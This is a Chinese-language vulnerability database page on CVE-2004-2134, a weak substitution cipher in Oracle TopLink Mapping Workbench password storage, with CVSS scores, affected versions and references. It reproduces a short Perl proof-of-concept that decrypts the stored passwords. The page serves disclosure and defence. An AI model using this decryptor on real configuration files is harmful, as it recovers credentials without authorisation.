CVE-2004-2134
CVSS4.6
发布时间 :2004-01-28 00:00:00
修订时间 :2016-10-17 23:06:52
NMCOES    

[原文]Oracle toplink mapping workBench uses a weak encryption algorithm for passwords, which allows local users to decrypt the passwords.


[CNNVD]OracleAS TopLink Mapping Workbench弱加密算法漏洞(CNNVD-200401-062)

        
        OracleAS TopLink Mapping Workbench是OracleAS TopLink的评估工具,OracleAS TopLink是一款基于JAVA的数据库,作为Oracle应用服务程序的组件进行应用开发的系统。
        OracleAS TopLink Mapping Workbench当在XML文件中存储密码时使用不强壮加密算法,攻击者可以进行密码恢复。
        存储在XML中的密码采用单纯的置换密码然后追加静态字符串到加密密码最后的机制,攻击者如果可以访问XML文件,就能很容易的对此加密密码进行解密。
        漏洞发现者没有说明受此漏洞影响的Oracle Application Server releases版本,但是包括后来发行的10g支持Java加密扩展的算法由于对旧的算法保持兼容,也可能存在此漏洞。
        

- CVSS (基础分值)

CVSS分值: 4.6 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:oracle:application_server:9.0.2.1Oracle Oracle10g Application Server 9.0.2.1
cpe:/a:oracle:application_server:9.0.2.2Oracle Oracle9i Application Server 9.0.2.2
cpe:/a:oracle:application_server:9.0.3Oracle Oracle9i Application Server 9.0.3
cpe:/a:oracle:application_server:9.0.2.3Oracle Application Server 10g 9.0.2.3
cpe:/a:oracle:application_server:9.0.2.0.1Oracle Oracle9i Application Server 9.0.2.0.1
cpe:/a:oracle:application_server:9.0.2.0.0Oracle Oracle9i Application Server 9.0.2.0.0
cpe:/a:oracle:application_server:9.0.2Oracle Application Server 9i 9.0.2

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2134
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-2134
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200401-062
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=107531028325112&w=2
(UNKNOWN)  BUGTRAQ  20040128 Oracle toplink mapping workbench password algorithm
http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=803&lngWId=5
(UNKNOWN)  MISC  http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=803&lngWId=5
http://www.securityfocus.com/archive/1/archive/1/352315/30/21430/threaded
(UNKNOWN)  BUGTRAQ  20040128 Re: Oracle toplink mapping workbench password algorithm
http://www.securityfocus.com/archive/82/351719
(VENDOR_ADVISORY)  VULN-DEV  20040128 Re: Oracle toplink mapping workbench password algorithm
http://www.securityfocus.com/bid/9515
(VENDOR_ADVISORY)  BID  9515

- 漏洞信息

OracleAS TopLink Mapping Workbench弱加密算法漏洞
中危 设计错误
2004-01-28 00:00:00 2005-10-20 00:00:00
本地  
        
        OracleAS TopLink Mapping Workbench是OracleAS TopLink的评估工具,OracleAS TopLink是一款基于JAVA的数据库,作为Oracle应用服务程序的组件进行应用开发的系统。
        OracleAS TopLink Mapping Workbench当在XML文件中存储密码时使用不强壮加密算法,攻击者可以进行密码恢复。
        存储在XML中的密码采用单纯的置换密码然后追加静态字符串到加密密码最后的机制,攻击者如果可以访问XML文件,就能很容易的对此加密密码进行解密。
        漏洞发现者没有说明受此漏洞影响的Oracle Application Server releases版本,但是包括后来发行的10g支持Java加密扩展的算法由于对旧的算法保持兼容,也可能存在此漏洞。
        

- 公告与补丁

        厂商补丁:
        Oracle
        ------
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://www.oracle.com

- 漏洞信息 (23611)

OracleAS TopLink Mapping Workbench Weak Encryption Algorithm Vulnerability (EDBID:23611)
multiple local
2004-01-28 Verified
0 Pete Finnigan
N/A [点击下载]
source: http://www.securityfocus.com/bid/9515/info

OracleAS TopLink Mapping Workbench is a tool included with OracleAS TopLink, a Java-based database integration development framework that is included as a component of various Oracle Application Server releases.

OracleAS TopLink Mapping Workbench is reported to use a weak encryption algorithm when storing passwords in XML files. A proof-of-concept has been released that demonstrates how passwords are encrypted, by reversing the process described in the proof-of-concept, an attacker with access to XML files generated by the software could decrypt embedded passwords. The encryption scheme uses a simplistic substitution cipher and then appends a static string to the end of the encrypted password.

The discoverer of this issue has not specified which Oracle Application Server releases are affected, though later releases such as 10g include support for the Java Cryptography Extension as well as user-specified custom encryption algorithms. Later releases are also backwards compatible with older encryption schemes, so could still be affected. This BID will be updated if further information is made available about affected releases.

#!/usr/bin/perl
#Decrypt Oracle Toplink Mapping WorkBench passwords.
#Author: Martin

$string = "A7FCAA504BA7E4FC";

sub usage {
	print " Usage: $0 <password to decrypt>\n";
	}

if ($#ARGV != 0) {
	usage();
	}

else {  
	$encrypted = $ARGV[0];
	$encrypted =~ s/$string/ /;
	$chars = length($encrypted);
	$enc2 = substr($encrypted,0,2);	
	$encrypted = substr($encrypted,2,length($encrypted));
	$i = 0;
	while (($chars / 2) >= $i + 1) {
		print $i;
		$int = hex($enc2);
		if (($i%2) == 1) { $result .= chr($int - ( ($i + 1 )/3 ) - 112); }
		else {  $result .= chr($int - 4 + $i); }		
		$enc2 = substr($encrypted,0,length($encrypted) - 1);
        	$encrypted = substr($encrypted,2,length($encrypted));
		$i++;	
		}
	print "$result\n";	
	}

		

- 漏洞信息

20189
Oracle Toplink Mapping workBench Password Encryption Weakness

- 漏洞描述

Unknown or Incomplete

- 时间线

2004-01-27 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

OracleAS TopLink Mapping Workbench Weak Encryption Algorithm Vulnerability
Design Error 9515
No Yes
2004-01-28 12:00:00 2009-07-12 02:06:00
Discovery is credited to Pete Finnigan.

- 受影响的程序版本

Oracle Oracle9i Application Server 9.0.3
Oracle Oracle9i Application Server 9.0.2 .3
Oracle Oracle9i Application Server 9.0.2 .2
Oracle Oracle9i Application Server 9.0.2 .1
Oracle Oracle9i Application Server 9.0.2 .0.1
Oracle Oracle9i Application Server 9.0.2 .0.0
Oracle Oracle9i Application Server 9.0.2

- 漏洞讨论

OracleAS TopLink Mapping Workbench is a tool included with OracleAS TopLink, a Java-based database integration development framework that is included as a component of various Oracle Application Server releases.

OracleAS TopLink Mapping Workbench is reported to use a weak encryption algorithm when storing passwords in XML files. A proof-of-concept has been released that demonstrates how passwords are encrypted, by reversing the process described in the proof-of-concept, an attacker with access to XML files generated by the software could decrypt embedded passwords. The encryption scheme uses a simplistic substitution cipher and then appends a static string to the end of the encrypted password.

The discoverer of this issue has not specified which Oracle Application Server releases are affected, though later releases such as 10g include support for the Java Cryptography Extension as well as user-specified custom encryption algorithms. Later releases are also backwards compatible with older encryption schemes, so could still be affected. This BID will be updated if further information is made available about affected releases.

- 漏洞利用

The following exploit has been released:

- 解决方案

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com <mailto:vuldb@securityfocus.com>.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站